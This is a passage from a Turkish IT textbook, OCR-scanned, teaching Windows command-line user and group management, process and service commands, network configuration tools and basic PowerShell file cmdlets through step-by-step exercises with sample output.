Kullanici detaylarini incelemek igin kullanilir.
net user [kullanici] Kullanici hakkinda yetki, grup gibi detayli bilgiler
icerir.
Kullanicinin ~ parolasini  degistirmek  veya
net user [kullanici] * kaldirmak icin kullanilir. istenen parola bilgileri
net user bos gecilirse parola kaldirilr.

Kullanici eklemek igin kullanilir. Parola daha

net user [yeni kullanici] /add sonra belirlenebilir.

Kullanict adi ve parola belirterek kullanici

net user [yeni kullanici] [parola] /add eklemek icin kullanilir

net user [kullanici] /del Kullanici silmek icin kullanilir.

Sistemde tanimli olan gruplari géstermek icin

net localgroup cullanlir

net

localgroup [ EHEEa el s I Ee e o Kullaniciyt  gruba eklemek igcin  kullanilir.

Kullanicinin yetkileri artar.

net localgroup [grup] [kullanici] /del | Kullaniciyi gruptan ¢ikarmak icin kullanihr.

29. UYGULAMA Kullanici ve grup yonetimi islemleri ile ilgili komutlarin kullanimini
asagidaki adimlar dogrultusunda gerceklestiriniz.

1. Adim: Komut satiri penceresini yonetici olarak calistiriniz.
2. Adim: Komut satirina net user merve /add komutunu yazarak merve kullanicisini olusturunuz.

3. Adim: Komut satirina net user merve * komutunu yazarak merve kullanicisina parola atayiniz (Gorsel
4.169).

C:\Users\lise \OneDrive\Masalisti>net user merve /add
Komut basariyla tamamlandi.

C:\Users\lise_\OneDrive\Masaisti>net user merve *
Kullanici ig¢in parola yazin:

Onaylama i¢in parolanizi yeniden yazin:

Komut basariyla tamamlandi.

Gorsel 4.169: Kullanici olusturma ve parola atama
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4. Adim: Komut satirina net user merve komutunu yazarak merve kullanicisinin bilgilerini inceleyiniz
(Gorsel 4.170).

C:\Users\lise_\OneDrive\Masaistii>net user merve

Kullanici adi merve

Tam ad

Aciklama

Kullanici agiklamasi

Ulke/bdlge kodu 000 (Sistem Varsayilan deger)
Hesap etkin Evet

Hesap zaman asimi Asla

Parolanin son ayarlanmadi 15.08.2023 20:08:19
Parola sire sonu 26.09.2023 20:08:19
Degisebilir parola 15.08.2023 20:08:19
Parola gerekli Evet

Kullanici parolayi degistirebilir Evet

izin verilen is istasyonlari Tumu

Oturum agma kodu
Kullanici profili

Ana dizin

Son oturum ac¢ma Asla
izin verilen oturum acma saatleri Tumu
Yerel Grup Uyeligi *Users
Genel Grup Uyeligi *Yok

Komut basariyla tamamlandi.

Gorsel 4.170: Kullanici hakkinda bilgi alma

5. Adim: Komut satirina net user akif siber123 /add komutunu yazarak akif kullanicisini olusturunuz
[Parolasi siber123 olarak belirtilmistir.].

6. Adim: Komut satirina net users komutunu yazarak taniml kullanicilari gérintileyiniz (Gorsel 4.171).

C:\Users\lise_\OneDrive\Masaiistii>net user akif siber123 /add
Komut basariyla tamamlandi.

C:\Users\lise_\OneDrive\Masalistii>net users

\\LISE Kullanici Hesaplari

Administrator akif Guest
lise_ merve VarsayilanHesap
WDAGUtilityAccount

Komut basariyla tamamlandi.

Gorsel 4.171: Kullanici olusturma ve listeleme

7. Adim: Komut satirina net user merve /del komutunu yazarak merve kullanicisini siliniz. Ardindan
kullanicilari listeleyerek merve kullanicisinin silindiginden emin olunuz (Gorsel 4.172).

C:\Users\lise_\OneDrive\Masaiistii>net user merve /del
Komut basariyla tamamlandi.

C:\Users\lise_\OneDrive\Masaiistili>net users
\\LISE Kullanici Hesaplari

Administrator akif Guest
lise_ VarsayilanHesap WDAGUtilityAccount
Komut basariyla tamamlandi.

Gorsel 4.172: Kullanici silme
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8. Adim: Komut satirina net localgroup komutunu yazarak gruplari gorlintlleyiniz (Gorsel 4.173).

C:\Users\lise_\OneDrive\Masalistii>net localgroup
\\LISE i¢in diger adlar

*Administrators

*Backup Operators

*Cihaz Sahipleri

*Cryptographic Operators
*Distributed COM Users

*Erisim Denetimi Yardim Operatdrleri
*Event Log Readers

*Guests

*Hyper-V Yoneticileri

*IIS_IUSRS

*Network Configuration Operators
*Performance Log Users

*Performance Monitor Users

*Power Users

*Remote Desktop Users

*Replicator

*Sistem Tarafindan Yonetilen Hesaplar Grubu
*Users

*Uzaktan Yonetim Kullanicilari

Komut basariyla tamamlandi.

Gorsel 4.173: Gruplarin listelenmesi

9. Adim: Komut satirina net localgroup Administrators akif /add komutunu yazarak akif kullanicisini
Administrators grubuna ekleyiniz (Gorsel 4.174).

C:\Users\lise_\OneDrive\Masalistii>net localgroup Administrators akif /add
Komut basariyla tamamlandi.

Gorsel 4.174: Kullaniciy1 gruba ekleme

10. Adim: Komut satirina net user akif komutunu yazarak akif kullanicisinin grup bilgilerini inceleyiniz
(Gorsel 4.175).

C:\Users\lise_\OneDrive\Masalistii>net user akif

Kullanici adi akif

Tam ad

Aciklama

Kullanici a¢iklamasi

Ulke/bdlge kodu 000 (Sistem Varsayilan deger)
Hesap etkin Evet

Hesap zaman asimi Asla

Parolanin son ayarlanmadi 15.08.2023 20:21:28
Parola silire sonu 26.09.2023 20:21:28
Degisebilir parola 15.08.2023 20:21:28
Parola gerekli Evet

Kullanici parolayi degistirebilir Evet

izin verilen is istasyonlari Tuml

Oturum ac¢ma kodu
Kullanici profili

Ana dizin

Son oturum ag¢gma Asla

izin verilen oturum acma saatleri Tumu

Yerel Grup Uyeligi gAdninistrators
*Users

Genel Grup uUyeligi *Yok

Komut basariyla tamamlandi.

Gorsel 4.175: Kullanicinin grup Gyelikleri
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SIRA

am : Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e Komut satiri penceresini yonetici olarak ¢alistiriniz.

e Erdem isimli kullaniciyl parola belirterek olusturunuz.

e Erdem kullanicisini bir gruba ekleyiniz.

e Erdem kullanicisinin yerel grup Gyeliklerini gériintileyiniz.
e Asude isimli kullaniciyr olusturunuz.

e Erdem isimli kullanicinin parolasini degistiriniz.

e Sistemde tanimli kullanicilari listeleyiniz.

e Sistemde tanimli gruplari listeleyiniz.

e Asude kullanicisini bir gruba ekleyiniz.

e Erdem kullanicisini son eklediginiz gruptan kaldiriniz.

4.1.8.5. Siire¢ Yonetimi Komutlari

Sureg yonetimi komutlariyla galisan sliregleri gorlintiileme, servis detaylarini inceleme, ¢alisan stiregleri
sonlandirma gibi islemler gerceklestirilir. Sireg yonetimi komutlari, komutlarin kullanimi ve agiklamalari
Tablo 4.23’te verilmistir.

Tablo 4.23: Windows Siireg Yonetimi Komutlari

Komut Komutun Genel Kullanimi Agiklama

tasklist tasklist Calisan siirecleri gériuntilemek icin kullanilr.

taskkill -f /PID [PID numarasi] Calisan slrecleri process id degerine gore

taskkill sonlandirir.
taskkill -f /IM [stireg adi] Calisan siiregleri isimlerine gore sonlandirir.
sc sc query [servis adi] Servis detaylarini incelemek icin kullanilir.
30. UYGULAMA Sure¢ yonetimi islemleri ile ilgili komutlarin kullanimini asagidaki

adimlar dogrultusunda gercgeklestiriniz.

1. Adim: Komut satiri penceresini yonetici olarak galistiriniz.
2. Adim: Komut satirina tasklist yazarak ¢alisan siiregleri gérintileyiniz (Gorsel 4.176).

C:\Users\lise_ \OneDrive\Masalisti>tasklist
Image Name PID Session Name Session# Mem Usage
System Idle Process @ Services (2] 8 K
System 4 Services (%] 152 K
Registry 100 Services (%] 20.632 K
smss.exe 432 Services %] 1.136 K
csrss.exe 628 Services %] 6.040 K
ininit.exe 700 Services (%] 6.824 K
csrss.exe 708 Console 1 6.596 K
inlogon.exe 796 Console 1 13.256 K

Gorsel 4.176: Calisan siregleri gériintiileme
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3. Adim: Komut satirina calc yazarak hesap makinesini ¢calistirip, hesap makinesi (calc) slirecini filtreleme
islemi uygulayarak goriintileyiniz (Gorsel 4.177).

C:\Users\lise_\OneDrive\Masaiistii>calc

C:\Users\lise_\OneDrive\Masalstii>tasklist | findstr /i "calc"
CalculatorApp.exe 6420 Console 1 67.248 K

Gorsel 4.177: Olusturulan sireci filtreleme

4. Adim: Komut satirina taskkill -f /IM CalculatorApp.exe yazip hesap makinesi siirecini sonlandiriniz
[Surecin sonlandirildigindan emin olunuz (Gorsel 4.178).].

C:\Users\lise \OneDrive\Masaiisti>taskkill -f /IM CalculatorApp.exe
SUCCESS: The process "CalculatorApp.exe" with PID 6420 has been terminated.

C:\Users\lise_ \OneDrive\Masaistu>tasklist | findstr /i "calc"

Gorsel 4.178: Sireci sonlandirma

5. Adim: Komut satirina sc query Dnscache yazarak DNS servisinin detaylarini listeleyiniz [WIN32_
OWN_PROCESS servisin tipini belirtir. Bu ifade servisin tekil olarak calistigini gosterir. RUNNING, servisin
cahisir durumda oldugu bilgisini verir (Gorsel 4.179).].

C:\Users\lise_\OneDrive\Masaiistii>sc query Dnscache
ISERVICE_NAME: Dnscache
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (ox0)
SERVICE_EXIT_CODE : © (©@x®)
CHECKPOINT : Ox0
WAIT_HINT . Ox0

Gorsel 4.179: Servis detayi sorgulama

SIRA

am Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

Komut satiri penceresini yonetici olarak galistiriniz.

Calisan surecleri goruntileyiniz.

Paint uygulamasini galistiriniz.

mspaint.exe sirecini PID degerini kullanarak sonlandiriniz.

4.1.8.6.Ag Komutlari

Ag komutlariyla IP yapilandirmalarini inceleme ve degistirme, iletisim testi yapma, rota izleme, gelen
giden ag trafigini inceleme, DNS bilgilerini 6grenme gibi islemler gerceklestirilir.
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L
Ag komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.24’te verilmistir.

Tablo 4.24: Windows Ag Komutlari

Komut Komutun Genel Kullanimi Aciklama
ipconfig Ag bagdastiricilarini ve IP adresi, subnet maskesi gibi
ipconfig ] ] bilgileri listeler. Daha ayrintili bilgiler almak icin /all
ifconfig /all parametresiyle kullanilir.
netsh interface ipv4 show config Ag bagdastiricilarinin IPv4 yapilandirmalarini gosterir.
netsh interface ipv4 set address
"Ethernet” static [IP adresi] [subnet | Statik IPv4 adresi tanimlamak icin kullanilir.
maskesi] [varsayilan ag gecidi]
netsh interface ipv4 set address| . . . .
netsh .
“Ethernet” dhcp Dinamik IP adresi atamasi yapmak igin kullanilir.
netsh interface ipv4 set dns ”Ethernet” e L
static [DNS IP adresi] DNS IP adresini degistirmek icin kullanilir.
. Bilgi - y - -
Fieh wiEn dhe preiils !Ig!sa\(a.rln" daha. .once baglandigi kablosuz aglarin
bilgilerini gormek icin kullanihr.
. . Kaynak ve hedef sistem arasinda iletisim testi
ping ping [hedef adres] gerceklestirir.
tracert tracert [hedef adres] Hedefe gonderilen paketin gectigi hostlari gosterir.
netstat -abno Gelen giden ag trafigi hakkinda bilgiler gosterir. Hangi
netstat IP adresiyle iletisim kuruldugunu ve hangi portun
netstat -anp tcp dinlemede oldugunu grenmek icin sikca kullanilir.
nslookup ey .
nslookup e | TEesp DNS bilgisini 6grenmek igin kullanilir.

Netstat komutunun parametreleri ve kullanimi hakkinda arastirma yapiniz. Bu komut
ile ilgili uygulamalar gergeklestiriniz. Arastirma sonuglarini ve gergeklestirdiginiz
uygulamalari rapor haline getiriniz. Calismanizi arkadaslarinizla paylasiniz.

31. UYGULAMA Ag islemleri ile ilgili komutlarin kullanimini asagidaki adimlar

dogrultusunda gerceklestiriniz.

1. Adim: Komut satiri penceresini yonetici olarak galistiriniz.
2. Adim: IP yapilandirmanizi gériintilemek icin komut satirina ipconfig yaziniz (Gorsel 4.180).

C:\Users\lise_\OneDrive\Masalistii>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::c184:34ae:4246:36de%6
IPv4 Address. . . . . . . . . . . : 10.0.2.15

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 10.0.2.2

Gorsel 4.180: IP adresi bilgilerini gorlintileme
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3. Adim: Kullandiginiz ag bagdastiricisina statik olarak IP adresleri veriniz (Gorsel 4.181).

C:\Users\lise_ \OneDrive\Masaiistii>netsh interface ipv4 set address "Ethernet”
static 10.0.2.100 255.255.255.0 10.0.2.2

Gorsel 4.181: Statik IP adresleri verme

4. Adim: Kullandiginiz ag bagdastiricisina statik olarak DNS IP adresi veriniz (Gorsel 4.182).

C:\Users\lise \OneDrive\Masalistii>netsh interface ipv4 set dns "Ethernet”
static 8.8.8.8

Gorsel 4.182: Statik DNS IP adresi verme

5. Adim: IP yapilandirmanizi daha detayh goértntilemek icin komut satirina ipconfig /all yaziniz [Statik
olarak verdiginiz IP adreslerinin atandigindan emin olunuz (Goérsel 4.183).].

C:\Users\lise_\OneDrive\Masalisti>ipconfig /all

Windows IP Configuration

Host Name . . . . . . . . . . . . : lise
Primary Dns Suffix ¢

Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Desktop Adapter
Physical Address. . . . . . . . . : 08-00-27-CE-21-F0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . . . . . : fe80::cl184:34ae:4246:36de%6(Preferred)
IPv4 Address. . . . . . . . . . . : 10.0.2.100(Preferred)

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . ! 10.0.2.2

DHCPv6 IAID . . . . . . . . . . . : 101187623

DHCPv6 Client DUID. . . . . . . . : ©00-01-00-01-2C-6B-29-88-08-00-27-CE-21-F0
DNS Servers . . . . . . . . . . . ! 8.8.8.8

NetBIOS over Tcpip. . . . . . . . : Enabled

Gorsel 4.183: IP adresi detaylarini gériintiileme

6. Adim: Bilgisayarinizla google.com arasinda iletisim testi gerceklestiriniz (Gorsel 4.184).

C:\Users\lise_ \OneDrive\Masaiistii>ping google.com

Pinging google.com [172.217.169.174] with 32 bytes of data:
Reply from 172.217.169.174: bytes=32 time=30ms TTL=55
Reply from 172.217.169.174: bytes=32 time=27ms TTL=55
Reply from 172.217.169.174: bytes=32 time=29ms TTL=55
Reply from 172.217.169.174: bytes=32 time=26ms TTL=55

Ping statistics for 172.217.169.174:

Packets: Sent = 4, Received = 4, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 26ms, Maximum = 3@ms, Average = 28ms

Gorsel 4.184: iletisim testi
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7. Adim: Bilgisayarinizdaki ag trafigini inceleyiniz (Gorsel 4.185).

C:\Users\lise_\OneDrive\Masalistii>netstat -ano

Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 4752
TCP 0.0.0.0:7680 0.0.0.0:0 LISTENING 6016
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 872
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 700
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1332
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 2812
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 3180
TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING 844
TCP 10.0.2.100:139 0.0.0.0:0 LISTENING 4
TCP 10.0.2.100:61911 20.199.120.182:443 ESTABLISHED 5332
TCP 10.0.2.100:61913 20.199.120.85:443 ESTABLISHED 3428
TCP 10.0.2.100:61914 8.8.8.8:443 CLOSE_WAIT 8868

Gorsel 4.185: Ag trafigini inceleme

8. Adim: Komut satirina echo exit | nslookup yazarak DNS IP adresinizi 6greniniz (Gorsel 4.186).

C:\Users\lise \OneDrive\Masaiistii>echo exit | nslookup
Default Server: dns.google
Address: 8.8.8.8

Gorsel 4.186: DNS IP adresini 6grenme

SIRA

am Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e Ag bagdastiricilarinizi ve IP yapilandirmalarinizi listeleyiniz.

e Komut satirinda netsh interface ipv4 show config yazarak IP bilgilerini inceleyiniz.

e Komut satirinda netsh komutunu kullanarak IP adreslerinin dinamik atanmasini saglayiniz.
e Komut satirinda tracert google.com yaziniz. Gonderilen paketin gectigi hostlari inceleyiniz.
e Komut satirinda netstat -anp tcp yaziniz. Ekran giktisini inceleyiniz.

e Komut satirinda nslookup yazip, DNS IP adresinizi 6grendikten sonra exit yazarak ¢ikiniz.

4.1.9. Windows isletim Sistemi PowerShell islemleri

PowerShell, Microsoft tarafindan gelistirilmis bir komut satiri araci ve
betik dili yorumlayicisidir (Gorsel 4.187). Windows isletim sistemiyle >
batlnlesiktir. Gligll ve esnek yapisiyla Windows komut satirina alternatif -
olarak gelistirilmistir. .NET kitlphanesi lzerine insa edilen PowerShell,
karmasik otomasyon ve yonetim gorevlerini gerceklestirmek icin
kullanilir. Bu gorevleri gerceklestirmek icin bilgisayarin dosya sistemine
ve kayit defterine erisim saglar. Ayrica PowerShell’in betik dili sayesinde
yonetimsel gorevlerin otomatiklestirilmesi  kullanicilara  6nemli
avantajlar saglar.

Gorsel 4.187: PowerShell



PowerShell’de yonetim gorevleri genellikle belirli bir eylemi
yerine getiren 6zel .NET siniflari olan cmdlet’ler kullanilarak
gerceklestirilir. PowerShell cmdlet’ler nesneye dayali islem
yapan komutlardir. Bu komutlar, fiil-isim seklinde kullanima
sunulur. Ornegin Get-Command komutu ile kayith olan tim
cmdlet’ler listelenir. Sistem yOneticileri, otomasyon uzman-
lari ve Uglincl taraf yazilim gelistiricileri 6zel gereksinimle-
re yonelik cmdlet’ler olusturabilir. Ozellestirilmis cmdlet’ler
PowerShell’e eklenebilir.

Agik kaynak kodlu PowerShell Core siiriimi ¢apraz platform
destegi saglayarak Windows disindaki isletim sistemlerinde
de kullanilabilecek sekilde tasarlanmistir. Bu ozelligi ile
PowerShell, genis bir kullanici kitlesine hitap eder. PowerShell
kullanicilarina birgok 6zellik sunar. Sekil 4.3’te PowerShell’in
temel ozellikleri gosterilmistir.

Linux ve Windows komut satirlarinda yapilabilen her islem PowerShell’de de yapilabilir.

sonuglarini arkadaslarinizla paylasiniz.
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PowerShell’in avantaj ve dezavantajlari hakkinda arastirma yapiniz. Arastirma

PowerShell komut satirini agmak icin kullanilan ilk yontemde gérev ¢ubugunda bulunan Baglat
menisine tiklanir. Arama cubuguna Powershell yazilir. Arama sonucunda ¢ikan Windows PowerShell

uygulamasina tiklanir (Gorsel 4.188).

Q Powershelll S ——

@Sohbetet Uygulamalar Belgeler Web Ayarlar Kisiler B L

En iyi eslesme

Windows PowerShell
| ¥

Uygulama
Uygulamalar
Windows PowerShell ISE >
EN Windows PowerShell ISE (x86) > 7 Ac
- E¥ Windows PowerShell (x86) >
| Avyarlar

Windows PowerShell

Uygulama

E¥  Run as Administrator

E¥  Run ISE as Administrator

Gorsel 4.188: Baslat meniisiinden PowerShell agma
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Windows PowerShell calistirildiginda Gorsel 4.189’teki pencere ekrana gelir.

2 Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\lise_>

Gorsel 4.189: PowerShell penceresi

PowerShell komut satirini agmanin diger bir yontemi de Windows komut satirina powershell yazilir.
Enter tusuna basilarak komut isteminde PowerShell’e gecilir (Gorsel 4.190).

&
Microsoft Windows [Version 10.0.22621.2134]
(c) Microsoft Corporation. Tim haklari saklidir. i

IC:\Windows\System32>powershell

Windows PowerShell

ICopyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\System32>

Gorsel 4.190: Windows komut satirindan PowerShell’e gegcme

4.1.9.1. Temel PowerShell Komutlari

PowerShell komutlariyla dosyalar, klasorler, servisler, kullanicilar, gruplar, siiregler, loglar gibi
bilesenlerle ilgili islemler gerceklestirilir. Linux ve Windows komut satirinda calisan komutlarin bazilari
PowerShell komut satirinda da galisir. PowerShell’de kullanilan komutlarin genel olarak iki tipi bulunur.
Bu komutlar cmdlet’ler ve fonksiyonlardir. Ayrica bazi komutlari temsil eden takma adlar da komut
olarak kullanilabilir. PowerShell’de kullanilabilen tim komutlari listelemek icin Get-Command komutu
kullanihr. Bu komut ¢alistirildiginda uzun bir komut listesiyle karsilasilir (Gorsel 4.191).

I £EY Windows PawearShell x

Windows PowerShell
Copyright (C) Microsoft Corporation. ALl rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\lise_> Get-Command

CommandType Name Version Source
Alias Add-AppPackage 2.0.1.8 Appx
Alias Add-AppPackageVolume 2.8.1.0 Appx
Alias Add-AppProvisionedPackage 3.0 Dism
Alias Add-ProvisionedAppPackage 3.8 Dism

Gorsel 4.191: PowerShell komutlarinin listelenmesi

PowerShell komutlarini daha iyi inceleyebilmek icin Get-Command | Out-GridView komutu calistirilir.
Acilan pencerede tiim komutlar tablo seklinde listelenir. Bu tablo izerindeki komut listesinde filtreleme,
arama ve siralama islemleri gerceklestirilir. Bu islemler sayesinde komutlar daha kolay incelenir (Gorsel
4.192).
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E¥ windows PowerShell

PS C:\Users\lise_> Get—Command Out—-GridView
PS C:\Users\lise_>

BY Get-Command | Out-GridView —

Filter 2 @

and CommandType contains Cmdlet =

O

and Name contains Get-Com x

<+ Add criteria 'l ‘ K Clear All

CommandType | Name Version | Source

Cmdlet Get-Computerinfo 3.1.00 Microsoft.PowerShell. Management
Cmdlet Get-ComputerRestarePoint 3.1.0.0 Micrasoft.PowerShell. Management
Cmdlet Get-Command 3.000 Microsoft.PowerShell.Core

Gorsel 4.192: PowerShell komutlarinda filtreleme, arama ve siralama islemleri

Listelenen PowerShell komutlarinin kullanimi hakkinda detayh bilgi almak i¢in Get-Help komutu
kullantlir. PowerShell’de Get-Help Get-Process komutu calistirildiginda Get-Process komutunun yardim
sayfasi agilir. Bu sayfada komutun ne ise yaradigl, nasil kullanildigi ve parametreleri hakkinda bilgiler yer
alir (Gorsel 4.193).

Windows PowerShell x

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\lise_> Get-Help Get-Process

NAME
Get-Process

SYNTAX
Get-Process [[-Name] <string[]>] [-ComputerName <string[]>] [-Module] [-File

VersionInfo] [<CommonParameters>]
Get-Process [[-Name] <string[]>] -IncludeUserName [<CommonParameters>]

Get-Process -Id <int[]> -IncludeUserName [<CommonParameters>]

Get-Process -Id <int[]> [-ComputerName <string[]>] [-Module] [-FileVersionIn
fo] [<CommonParameters=>]

Get-Process -InputObject <Process[]> -IncludeUserName [<CommonParameters>]

Get-Process -InputObject <Process[]> [-ComputerName <string[]>] [-Module] [-
FileVersionInfo] [<CommonParameters>]

Gorsel 4.193: Get-Process komutu hakkinda bilgi alma
Yardim igerigini glincellemek icin Update-Help komutu kullanilir. Yardim igeriginin glincel halinin

indirilmesi icin internet erisimine ihtiyac duyulur.

Temel PowerShell komutlari dosya ve klasor islemleri, gelismis islemler ile yonetim ve sistem islemleri
olmak lzere g kategoride incelenir. Dosya ve klasor islemleriyle ilgili komutlar ve agiklamalari Tablo
4.25’te verilmistir.
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Tablo 4.25: Dosya ve Klasér islemlerinde Kullanilan PowerShell Komutlari

Komut Acgiklama

Get-Childltem

Belirli bir klasérde bulunan dosya ve klasorleri listelemek igin kullantlir.

Set-Location

Gecgerli klasori degistirmek icin kullanilir.

New-ltem

Klasor (Dizin) ve dosya olusturmak icin kullanilhr.

Copy-ltem

Klasor (Dizin) ve dosya kopyalamak igin kullantlir.

Remove-ltem

Klasor (Dizin) ve dosya silmek igin kullanihr.

Move-ltem

Klasor (Dizin) ve dosya tasimak igin kullanilir.

Rename-ltem

Klasor (Dizin) ve dosyalari yeniden adlandirmak icin kullanilir.

Test-Path

Klasor (Dizin) ve dosyanin varligini kontrol etmek i¢in kullanilr.

Get-Content

Dosya igerigini okumak icin kullanilir.

Set-Content

Dosyanin icerigini belirtilen icerikle degistirmek veya dosya olusturmak
icin kullantlir.

Add-Content

Dosya igeriginin sonuna yeni bir icerik eklemek igin kullanilir.

Clear-Content

Dosyanin icerigini silmek icin kullanilir.

32. UYGULAMA

Dosya ve klasor yonetimi komutlarinin kullanimini asagidaki adimlar
dogrultusunda gergeklestiriniz.

1. Adim: PowerShell penceresini yonetici olarak ¢alistiriniz.
2. Adim: Set-Location komutunu kullanarak Masaisti klasériine geciniz.

3. Adim: Masaustiinde New-ltem komutunu kullanarak Uygulamalar klasoriini olusturunuz (Gorsel
4.194).

PS C:\Users\lise_> Set-Location —Path .\OneDrive\Masaiistii\
PS C:\Users\lise_\OneDrive\Masaiistii> New-Item -Path .\Uygulamalar -ItemType Directory

Directory: C:\Users\lise_\OneDrive\Masaiistii

Mode LastWriteTime

oo 20.08.2023 82:85

Length Name

Uygulamalar

Gorsel 4.194: Set-Location ve New-Item komutlarinin kullanimi

4. Adim: Get-Childltem komutunu kullanarak Masaiistii klasori icerigini gortntileyiniz (Gorsel 4.195).

PS C:\Users\lise_\OneDrive\Masalistii> Get-ChildItem

Directory: C:\Users\lise_\OneDrive\Masaiistii

Mode LastWriteTime Length Name
da-——1 16.088.2023 23:11 mayis
e 20.08.2823 B82:85 Uygulamalar

Gorsel 4.195: Get-Childltem komutunun kullanimi

5. Adim: cd komutunu kullanarak Uygulamalar klasoériine geginiz.
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6. Adim: New-Item komutunu kullanarak konular.txt dosyasini olusturunuz (Gorsel 4.196).

PS C:\Users\lise_\OneDrive\Masalistii> cd .\Uygulamalar\
PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> New-Item -Path .\konular.txt -ItemType File

Directory: C:\Users\lise_\OneDrive\Masalistii\Uygulamalar
Mode LastWriteTime Length Name

gy 28.08.2023 82:11 8 konular.txt

Gorsel 4.196: cd ve New-Item komutlarinin kullanimi

7. Adim: mkdir komutunu kullanarak Yedek klasoriini olusturunuz (Gorsel 4.197).

PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> mkdir Yedek

Directory: C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar

Mode LastWriteTime Length Name

Gorsel 4.197: mkdir komutunun kullanimi
8. Adim: Copy-ltem komutunu kullanarak konular.txt dosyasini Yedek klasoriine kopyalayiniz.

9. Adim: Is komutunu kullanarak Yedek klasori igerigini listeleyiniz ve dosyanin kopyalandigini
dogrulayiniz (Gorsel 4.198).

PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> Copy-Item .\Konular.txt .\Yedek\
PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> 1s .\Yedek\

Directory: C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar\Yedek

Mode LastWriteTime Length Name

o 20.08.2023 02:11 0 konular.txt

Gorsel 4.198: Copy-ltem ve Is komutlarinin kullanimi

10. Adim: Rename-Iltem komutunu kullanarak, konular.txt dosyasini konu listesi.txt olarak yeniden
adlandiriniz ve dosyanin yeniden adlandirildigini dogrulayiniz (Gorsel 4.199).

PS C:\Users\lise_\OneDrive\Masalistii\Uygulamalar> Rename-Item .\konular.txt "konu listesi.txt"
PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> Get-ChildItem

Directory: C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar

Mode LastWriteTime Length Name
d=——= 20.08.2023 02:15 Yedek
AT 20.08.2023 02:11 0 konu listesi.txt

Gorsel 4.199: Rename-Item ve Get-Childltem komutlarinin kullanimi

11. Adim: Test-Path komutunu kullanarak Yedek klasoriiniin ve konular.txt dosyasinin varhigini kontrol
ediniz (Gorsel 4.200).

PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> Test-Path .\Yedek\

True

PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> Test-Path .\konular.txt
False

Gorsel 4.200: Test-Path komutunun kullanimi
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12. Adim: Set-Content komutunu kullanarak konu listesi.txt dosyasi icerigine Donanim Birimleri
metnini atayiniz ve Get-Content komutunu kullanarak konu listesi.txt dosya icerigini konsola yazdiriniz.

13. Adim: Add-Content komutunu kullanarak konu listesi.txt dosyasi icerigine sirasiyla isletim Sistemleri
ve Tehdit Modelleme metinlerini ekleyiniz ve Get-Content komutunu kullanarak konu listesi.txt dosya
icerigini konsola yazdiriniz (Gorsel 4.201).

PS C:\Users\lise_\OneDrive\Masaiisti\Uygulamalar> Set-Content '.\konu listesi.txt' "Donanim Birimleri"
PS C:\Users\lise_\OneDrive\Masalisti\Uygulamalar> Get-Content '.\konu listesi.txt'

Donanim Birimleri )

PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> Add-Content '.\konu listesi.txt' "Isletim Sistemleri"
PS C:\Users\lise_\OneDrive\Masalistii\Uygulamalar> Add-Content '.\konu listesi.txt' "Tehdit Modelleme"
PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> Get-Content '.\konu listesi.txt'

Donanim Birimleri

fsletim Sistemleri

Tehdit Modelleme

Gorsel 4.201: Set-Content, Get-Content ve Add-Content komutlarinin kullanimi
14. Adim: Move-ltem komutunu kullanarak konu listesi.txt dosyasini Yedek klasorline tasiyiniz.
15. Adim: Set-Location komutunu kullanarak Yedek klasoriine geciniz.
16. Adim: Clear-Content komutunu kullanarak konu listesi.txt dosyasi icerigini temizleyiniz.
17. Adim: Get-Content komutunu kullanarak konu listesi.txt dosyasi icerigini konsola yazdiriniz.

18. Adim: Remove-ltem komutunu kullanarak konu listesi.txt dosyasini siliniz ve dosyanin silindigini
dogrulayiniz (Gorsel 4.202).

PS C:\Users\lise_\OneDrive\Masalistii\Uygulamalar> Move-Item '.\konu listesi.txt' .\Yedek\
PS C:\Users\lise_\OneDrive\Masaiistii\Uygulamalar> Set-Location —Path .\Yedek\
